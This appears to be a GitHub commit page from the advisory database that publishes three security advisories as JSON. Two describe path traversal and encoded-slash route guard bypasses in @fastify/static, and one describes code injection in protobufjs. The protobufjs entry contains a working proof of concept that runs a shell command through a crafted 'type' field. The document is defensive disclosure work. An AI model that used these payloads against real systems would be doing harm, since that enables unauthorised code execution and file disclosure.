Skip to content

Commit 36344dd

Browse files
advisory-database[bot]advisory-database[bot]
committed
Publish Advisories
GHSA-pr96-94w5-mx2h GHSA-x428-ghpx-8j92 GHSA-xq3m-2v4x-88gg
1 parent 23f2ec9 commit 36344dd

File tree

3 files changed

+218
-0
lines changed

3 files changed

+218
-0
lines changed

‎advisories/github-reviewed/2026/04/GHSA-pr96-94w5-mx2h/GHSA-pr96-94w5-mx2h.json‎

Lines changed: 68 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,68 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-pr96-94w5-mx2h",
4+
"modified": "2026-04-16T22:34:30Z",
5+
"published": "2026-04-16T22:34:30Z",
6+
"aliases": [
7+
"CVE-2026-6410"
8+
],
9+
"summary": "@fastify/static vulnerable to path traversal in directory listing",
10+
"details": "### Impact\n\n`@fastify/static` v9.1.0 and earlier serves directory listings outside the configured static root when the `list` option is enabled. A request such as `/public/../outside/` causes `dirList.path()` to resolve a directory outside the root via `path.join()` without a containment check.\n\nA remote unauthenticated attacker can obtain directory listings for arbitrary directories accessible to the Node.js process, disclosing directory names and filenames that should not be exposed. File contents are not disclosed.\n\n### Patches\n\nUpgrade to `@fastify/static` >= 9.1.1.\n\n### Workarounds\n\nDisable directory listing by removing the `list` option from the plugin configuration.",
11+
"severity": [
12+
{
13+
"type": "CVSS_V3",
14+
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "npm",
21+
"name": "@fastify/static"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "8.0.0"
29+
},
30+
{
31+
"fixed": "9.1.1"
32+
}
33+
]
34+
}
35+
],
36+
"database_specific": {
37+
"last_known_affected_version_range": "<= 9.1.0"
38+
}
39+
}
40+
],
41+
"references": [
42+
{
43+
"type": "WEB",
44+
"url": "https://github.com/fastify/fastify-static/security/advisories/GHSA-pr96-94w5-mx2h"
45+
},
46+
{
47+
"type": "ADVISORY",
48+
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-6410"
49+
},
50+
{
51+
"type": "WEB",
52+
"url": "https://cna.openjsf.org/security-advisories.html"
53+
},
54+
{
55+
"type": "PACKAGE",
56+
"url": "https://github.com/fastify/fastify-static"
57+
}
58+
],
59+
"database_specific": {
60+
"cwe_ids": [
61+
"CWE-22"
62+
],
63+
"severity": "MODERATE",
64+
"github_reviewed": true,
65+
"github_reviewed_at": "2026-04-16T22:34:30Z",
66+
"nvd_published_at": "2026-04-16T14:16:20Z"
67+
}
68+
}

‎advisories/github-reviewed/2026/04/GHSA-x428-ghpx-8j92/GHSA-x428-ghpx-8j92.json‎

Lines changed: 76 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,76 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-x428-ghpx-8j92",
4+
"modified": "2026-04-16T22:34:03Z",
5+
"published": "2026-04-16T22:34:03Z",
6+
"aliases": [
7+
"CVE-2026-6414"
8+
],
9+
"summary": "@fastify/static vulnerable to route guard bypass via encoded path separators",
10+
"details": "### Impact\n\n`@fastify/static` v9.1.0 and earlier decodes percent-encoded path separators (`%2F`) before filesystem resolution, but Fastify's router treats them as literal characters. This creates a routing mismatch: route guards on `/admin/*` do not match `/admin%2Fsecret.html`, but @fastify/static decodes it to `/admin/secret.html` and serves the file.\n\nApplications that rely on route-based middleware or guards to protect files served by @fastify/static can be bypassed with encoded path separators.\n\n### Patches\n\nUpgrade to `@fastify/static` >= 9.1.1.\n\n### Workarounds\n\nNone. Upgrade to the patched version.",
11+
"severity": [
12+
{
13+
"type": "CVSS_V3",
14+
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "npm",
21+
"name": "@fastify/static"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "8.0.0"
29+
},
30+
{
31+
"fixed": "9.1.1"
32+
}
33+
]
34+
}
35+
],
36+
"database_specific": {
37+
"last_known_affected_version_range": "<= 9.1.0"
38+
}
39+
}
40+
],
41+
"references": [
42+
{
43+
"type": "WEB",
44+
"url": "https://github.com/fastify/fastify-static/security/advisories/GHSA-x428-ghpx-8j92"
45+
},
46+
{
47+
"type": "WEB",
48+
"url": "https://github.com/fastify/middie/security/advisories/GHSA-cxrg-g7r8-w69p"
49+
},
50+
{
51+
"type": "WEB",
52+
"url": "https://github.com/honojs/hono/security/advisories/GHSA-q5qw-h33p-qvwr"
53+
},
54+
{
55+
"type": "ADVISORY",
56+
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-6414"
57+
},
58+
{
59+
"type": "WEB",
60+
"url": "https://cna.openjsf.org/security-advisories.html"
61+
},
62+
{
63+
"type": "PACKAGE",
64+
"url": "https://github.com/fastify/fastify-static"
65+
}
66+
],
67+
"database_specific": {
68+
"cwe_ids": [
69+
"CWE-177"
70+
],
71+
"severity": "MODERATE",
72+
"github_reviewed": true,
73+
"github_reviewed_at": "2026-04-16T22:34:03Z",
74+
"nvd_published_at": "2026-04-16T13:16:52Z"
75+
}
76+
}

‎advisories/github-reviewed/2026/04/GHSA-xq3m-2v4x-88gg/GHSA-xq3m-2v4x-88gg.json‎

Lines changed: 74 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,74 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-xq3m-2v4x-88gg",
4+
"modified": "2026-04-16T22:34:57Z",
5+
"published": "2026-04-16T22:34:57Z",
6+
"aliases": [],
7+
"summary": "Arbitrary code execution in protobufjs",
8+
"details": "### Summary\nprotobufjs compiles protobuf definitions into JS functions. Attackers can manipulate these definitions to execute arbitrary JS code.\n\n### Details\nAttackers can inject arbitrary code in the \"type\" fields of protobuf definitions, which will then execute during object decoding using that definition.\n\n### PoC\n```js\nconst protobuf = require('protobufjs');\nmaliciousDescriptor = JSON.parse(`{\"nested\":{\"User\":{\"fields\":{\"id\":{\"type\":\"int32\",\"id\":1},\"data\":{\"type\":\"Data(){console.log(process.mainModule.require('child_process').execSync('id').toString())};\\\\nfunction X\",\"id\":2}}},\"Data(){console.log(process.mainModule.require('child_process').execSync('id').toString())};\\\\nfunction X\":{\"fields\":{\"content\":{\"type\":\"string\",\"id\":1}}}}}`)\nconst root = protobuf.Root.fromJSON(maliciousDescriptor);\nconst UserType = root.lookupType(\"User\");\nconst userBytes = Buffer.from([0x08, 0x01, 0x12, 0x07, 0x0a, 0x05, 0x68, 0x65, 0x6c, 0x6c, 0x6f]);\ntry {\n const user = UserType.decode(userBytes);\n} catch (e) {}\n```\n\n### Impact\nRemote code execution when attackers can control the protobuf definition files.",
9+
"severity": [
10+
{
11+
"type": "CVSS_V4",
12+
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H"
13+
}
14+
],
15+
"affected": [
16+
{
17+
"package": {
18+
"ecosystem": "npm",
19+
"name": "protobufjs"
20+
},
21+
"ranges": [
22+
{
23+
"type": "ECOSYSTEM",
24+
"events": [
25+
{
26+
"introduced": "8.0.0"
27+
},
28+
{
29+
"fixed": "8.0.1"
30+
}
31+
]
32+
}
33+
]
34+
},
35+
{
36+
"package": {
37+
"ecosystem": "npm",
38+
"name": "protobufjs"
39+
},
40+
"ranges": [
41+
{
42+
"type": "ECOSYSTEM",
43+
"events": [
44+
{
45+
"introduced": "0"
46+
},
47+
{
48+
"fixed": "7.5.5"
49+
}
50+
]
51+
}
52+
]
53+
}
54+
],
55+
"references": [
56+
{
57+
"type": "WEB",
58+
"url": "https://github.com/protobufjs/protobuf.js/security/advisories/GHSA-xq3m-2v4x-88gg"
59+
},
60+
{
61+
"type": "PACKAGE",
62+
"url": "https://github.com/protobufjs/protobuf.js"
63+
}
64+
],
65+
"database_specific": {
66+
"cwe_ids": [
67+
"CWE-94"
68+
],
69+
"severity": "CRITICAL",
70+
"github_reviewed": true,
71+
"github_reviewed_at": "2026-04-16T22:34:57Z",
72+
"nvd_published_at": null
73+
}
74+
}

0 commit comments

Comments
 (0)